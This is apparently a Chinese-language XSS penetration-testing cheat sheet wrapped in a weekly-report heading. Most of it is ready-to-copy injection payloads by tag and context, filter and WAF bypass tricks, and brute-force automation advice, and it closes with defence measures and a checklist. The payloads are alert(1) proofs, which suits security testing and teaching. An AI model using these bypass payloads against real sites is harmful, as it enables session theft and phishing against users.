💡 字多 ≠ 有价值
周报不是为了表现工作量,而是给团队提供最基本的“信息透明”。尽量挑选重要信息来写。
汇报人:莫家豪
日期:2025-01-20
一、概览(快速理解)
-
XSS(Cross-Site Scripting):攻击者把恶意脚本注入网页,使之在其他用户浏览器中执行,可能导致会话窃取、钓鱼、权限滥用、持久化木马等危害。
-
核心思路:找能将用户控制的数据“原样输出”到浏览器并被解析为可执行语义的位置 —— 输出上下文决定 payload 形式与成功率。
-
常见上下文:
二、注入前的流程(检测与判定)
-
识别注入点与上下文:先在注入点放常见测试向量(
<img src=x onerror=alert(1)>、"><svg onload=alert(1)>、';alert(1);//)观察服务器如何返回(是否被转义/删除/编码)。 -
观察响应:看是被转义为实体、删除关键字符、返回 200 但替换内容、还是原样返回。记录每种行为。
-
确认触发方式:是否自动触发(onload/onerror/onanimationend 等)、是否需要交互(onclick)、是否需要用户打印(onbeforeprint)等。
-
识别防护:是否存在 CSP(检查
Content-Security-Policyheader),是否有 WAF(频繁阻断、403)、是否做了严格转义。 -
选择策略:根据上下文选择合适 payload(事件型 / SVG / data: / srcdoc / JS-string 逃逸等)。
三、二十个常见标签
一、事件型标签(自动触发类)
这些标签天然自带可自动触发的事件(onload, onerror, onmouseover 等),在 XSS 利用中最常见、成功率高。通常可以在不依赖用户交互的情况下执行脚本。
| 标签 | 常用事件 | 示例 Payload | 说明 |
|---|---|---|---|
<img> | onerror | <img src=x onerror=alert(1)> | 图片加载失败时触发,经典自动执行方式 |
<body> | onload, onbeforeprint | <body onload=alert(1)> | 页面加载完自动执行 |
<svg> | onload, onbegin | <svg onload=alert(1)> | SVG 可嵌脚本,绕过过滤 <script> 的场景 |
<iframe> | onload | <iframe srcdoc="<script>alert(1)</script>"> | 可嵌页面、执行脚本、iframe 内可传 payload |
<video> | onerror, onplay | <video src=x onerror=alert(1)> | 媒体资源加载失败时触发 |
<audio> | onerror, onplay | <audio src=x onerror=alert(1)> | 类似 <video>,利用率较低但存在 |
<object> | onerror, onload | <object data=x onerror=alert(1)> | 用于加载外部资源,可触发错误事件 |
<link> | onload | <link rel=stylesheet href=x onerror=alert(1)> | 在部分解析器中加载失败触发事件 |
<embed> | onload, onerror | <embed src=x onerror=alert(1)> | 嵌入外部内容时可利用 |
<marquee> | onstart, onfinish | <marquee onstart=alert(1)> | 已过时但部分浏览器仍支持 |
二、用户交互型标签(依赖点击、悬停等)
需要用户行为(click、mouseover)触发事件,不自动执行,但常用于反射型 XSS 或 DOM-based XSS。
| 标签 | 常用事件 | 示例 Payload | 说明 |
|---|---|---|---|
<a> | onclick, onmouseover | <a href=# onclick=alert(1)>点击</a> | 最常见交互型标签 |
<button> | onclick | <button onclick=alert(1)>点我</button> | 表单交互类元素 |
<form> | onsubmit | <form onsubmit=alert(1)><input type=submit></form> | 表单提交时触发 |
<input> | onfocus, onchange | <input onfocus=alert(1)> | 聚焦时触发 |
<textarea> | oninput, onfocus | <textarea onfocus=alert(1)> | 聚焦、输入时触发 |
<select> | onchange | <select onchange=alert(1)><option>1</option></select> | 改变选项时触发 |
<details> | ontoggle | <details ontoggle=alert(1)>展开试试</details> | HTML5 新标签,展开/收起时触发 |
三、嵌入类标签(可执行外部资源 / 内联内容)
这些标签可以直接或间接引入脚本、SVG、媒体、HTML 等内容,在过滤 <script> 时可用作替代执行载体。
| 标签 | 用法 | 示例 Payload | 说明 |
|---|---|---|---|
<script> | 直接执行 JS | <script>alert(1)</script> | 标准脚本执行方式(若不过滤) |
<svg><script> | 内嵌脚本 | <svg><script>alert(1)</script></svg> | 在支持 SVG 的环境可绕过 |
<math> | MathML 扩展 | <math><mtext><script>alert(1)</script></mtext></math> | Firefox 等可解析 MathML |
<iframe> | 外部 HTML | <iframe src=javascript:alert(1)> | 可利用 srcdoc 或 javascript: |
<object> | 外部资源 | <object data=data:text/html,<script>alert(1)</script>> | 载入可控数据流 |
<embed> | 外部 Flash/HTML | <embed src=data:text/html,<script>alert(1)</script>> | 作用同 <object> |
四、样式与资源类标签(CSS/Meta/Link)
这些标签通常不直接执行 JS,但可配合 CSS / data URI / import 等手法完成绕过。
| 标签 | 用法 | 示例 Payload | 说明 |
|---|---|---|---|
<style> | 内联 CSS | <style>@import 'javascript:alert(1)';</style> | 某些旧浏览器解析可触发 JS |
<link> | 外部 CSS | <link rel=stylesheet href=javascript:alert(1)> | 现代浏览器已修复,大多不执行 |
<meta> | 重定向 | <meta http-equiv="refresh" content="0;url=javascript:alert(1)"> | 可用于 URL 跳转型绕过 |
<base> | 改变解析基准 | <base href="javascript:alert(1)//"> | 可配合其他相对链接构造执行 |
五、少见或冷门可利用标签(特殊场景)
这些标签在现代浏览器支持度不高,但在旧环境 / 特殊框架下仍可触发。
| 标签 | 示例 Payload | 说明 |
|---|---|---|
<plaintext> | <plaintext><script>alert(1)</script> | 使浏览器后续内容全部原样输出,常用于破坏过滤器结构 |
<noscript> | <noscript><p title="</noscript><img src=x onerror=alert(1)>"> | 配合过滤器闭合标签绕过 |
<xmp> | <xmp><script>alert(1)</script> | 类似 <plaintext>,用于混淆 HTML 解析 |
<table> | <table background="javascript:alert(1)"> | 属性型 XSS(部分旧浏览器) |
四、常见绕过手法(系统化汇总)
下面把常见绕过方法按策略做归类,便于在测试时有条不紊地尝试。
A. 编码与实体
-
HTML 实体:
<,<→ 恢复为<。 -
十六进制 Unicode:
<script>。 -
URL 编码:
%3Cscript%3E。 -
双重编码:先 encode 再 encode(绕过一次解码的过滤器)。
B. 协议与 data URI
-
javascript:、data:(data:text/html;base64,...)将 payload 以数据 URI 嵌入。 -
注意:CSP / 浏览器可能禁用某些协议。
C. 关键字分割 / 注释插入
-
ja<!-- -->vascript:alert(1)、jav\u0061script:alert(1)。 -
在 WAF 使用简单关键字黑名单时非常有效。
D. 多上下文 polyglot
- 一次 payload 适配多种解析器,例如
"><svg onload=alert(1)>,能在属性/文本/某些过滤器下触发。
E. 构造函数与原型链技巧(JS 层)
-
constructor.constructor('alert(1)')()、[]["filter"]["constructor"]("alert(1)")()。 -
适用于能注入 JS 表达式或在现有 JS 中拼接执行的场景。
F. SVG / SMIL / 特殊标签
-
使用 SVG 内置事件(
onload)或动画事件(onbegin、onend)触发执行。 -
SVG 经常被忽略,若
<被编码但svg可以被实体还原,成功率高。
G. srcdoc / iframe / object / embed
-
iframe srcdoc能直接写入 HTML;object可内嵌 data uri。 -
上传 HTML 文件并用
<iframe src="/uploads/malicious.html">访问。
H. JSON / JS 字符串上下文逃逸
-
如果输入被拼进 JS 字符串,需闭合引号并填入 JS:
');alert(1);//或");alert(1);//。 -
在 JSON 被直接
eval的场景(不安全)可直接注入 JS。
I. CSS 动画 + 事件
- 在只允许样式/文字,但支持事件属性的场景下,使用 CSS 动画触发
onanimationend:
J. 文件上传与 MIME 绕过
-
上传
.svg,.html并使服务器以text/html返回或浏览器按 HTML 解析。 -
尝试修改
Content-Type或使用双扩展名(file.html.jpg)看服务器如何处理。
K. 前端框架专用绕过
-
AngularJS(旧):
{{constructor.constructor('alert(1)')()}}。 -
Vue:
v-html错误使用会直接插入 HTML;{{}}默认转义。 -
React:
dangerouslySetInnerHTML是高风险点。
L. WAF / 黑名单对策
- 分割关键字 / 多重编码 / 使用不常见事件或标签 / 上传并托管到可访问路径 / 间接执行(构造函数)等。
五、成熟 payload 模板集(按上下文,直接可复制测试)
说明:所有 payload 以 alert(1) 作验证,实测请替换为合规检测方法(日志回显、私有回调等)。
HTML 文本上下文(直接插入 HTML)
-
<script>alert(1)</script> -
<img src=x onerror=alert(1)> -
"><svg onload=alert(1)><!--
属性值上下文(双引号)
-
" onmouseover=alert(1) autofocus x=" -
"><img src=x onerror=alert(1)>
属性值上下文(单引号)
-
' onmouseover=alert(1) autofocus x=' -
'><svg onload=alert(1)><!--
JS 字符串上下文
-
');alert(1);// -
");alert(1);// -
'+(alert(1))+'(在拼接场景)
URL / HREF / SRC
-
<a href="javascript:alert(1)">x</a> -
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
SVG / SMIL(高成功率)
-
<svg onload=alert(1)> -
<svg><animate onbegin="alert(1)"/></svg>
IFRAME with SRCdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
ENTITY / ENCODING VARIANTS
-
<script>alert(1)</script> -
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E(URL 编码)
CONSTRUCTOR / INDIRECTION
-
[]['filter']['constructor']('alert(1)')() -
this['con'+'structor'].constructor('alert(1)')()
CSS ANIMATION TRIGGER
<div style="animation-name:x" onanimationend="alert(1)"></div>
PRINT EVENT(特殊)
-
<body onbeforeprint=alert(1)> -
<img src=x onerror="window.onbeforeprint=()=>alert(1);window.print()">
六、自动化与爆破建议(实战流程)
-
准备模板库:把 payload 按上下文分类(HTML/Attr/JS/URL/SVG),并支持多重编码选项(实体 / URL / base64)。
-
指纹化目标:先探测页面中使用的前端框架(
data-reactroot、ng-、v-)、CSP header、可写目录(上传点)、是否有srcdoc/sandbox等。 -
分阶段尝试:
-
记录与速报:每个 payload 的请求/响应、是否触发、浏览器类型。保存为 CSV/JSON 便于后续对比。
-
并发与节制:自动化爆破避免对目标造成不可逆影响或触发 WAF 大量封禁。必须控制速率与并发。
七、防御要点(开发/运维角度)
-
上下文感知转义(核心):对所有输出做基于目标上下文的编码/转义(HTML 文本、属性、JS 字符串、URL、CSS 分别采用不同逃逸函数)。
-
禁止直接 innerHTML / eval / dangerous APIs:尽量使用
textContent,避免dangerouslySetInnerHTML、eval()或new Function()。 -
严格 CSP:
Content-Security-Policy禁用unsafe-inline、限制script-src到可信域,使用nonce/hash。 -
对上传内容做严格验证:强制 MIME 检查、S3/CORS 配置、上传目录加 Content-Disposition 与下载标头,确保上传文件不会以
text/html被当作页面呈现。 -
模板引擎默认转义:使用框架默认转义机制,避免
raw/safe。 -
输入验证但不依赖它作为防线:输入验证仅作第一道防线,输出转义是最终保障。
-
安全测试与生命周期:在 CI/CD 中加入自动化扫描与手动渗透测试,修复后验证。
八、测试记录模板(示例 CSV 表头)
injection_point,context,payload,encoding,response_code,response_body_snippet,triggered(browser),notes
九、快速检查清单(渗透实战)
-
能否注入
<script>?(通常否) -
onerror/onload/onanimationend是否被允许? -
iframe srcdoc或data:是否可用? -
是否存在上传点并能访问上传文件?
-
是否有 CSP?
script-src白名单里是否包含可写域? -
前端框架指纹(React/Angular/Vue) → 检查
dangerouslySetInnerHTML,v-html,ng-bind-html等。 -
WAF 报文或过滤策略如何(哪些关键词被替换)?
-
是否能通过 JS 构造/原型链间接触发?
十、常用事件清单
onerror, onload, onanimationend, onanimationstart, onbegin, onfocus, onmouseover, onclick, onsubmit, onbeforeprint, onafterprint, ontransitionend, onhashchange
其他标签及绕过见:
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet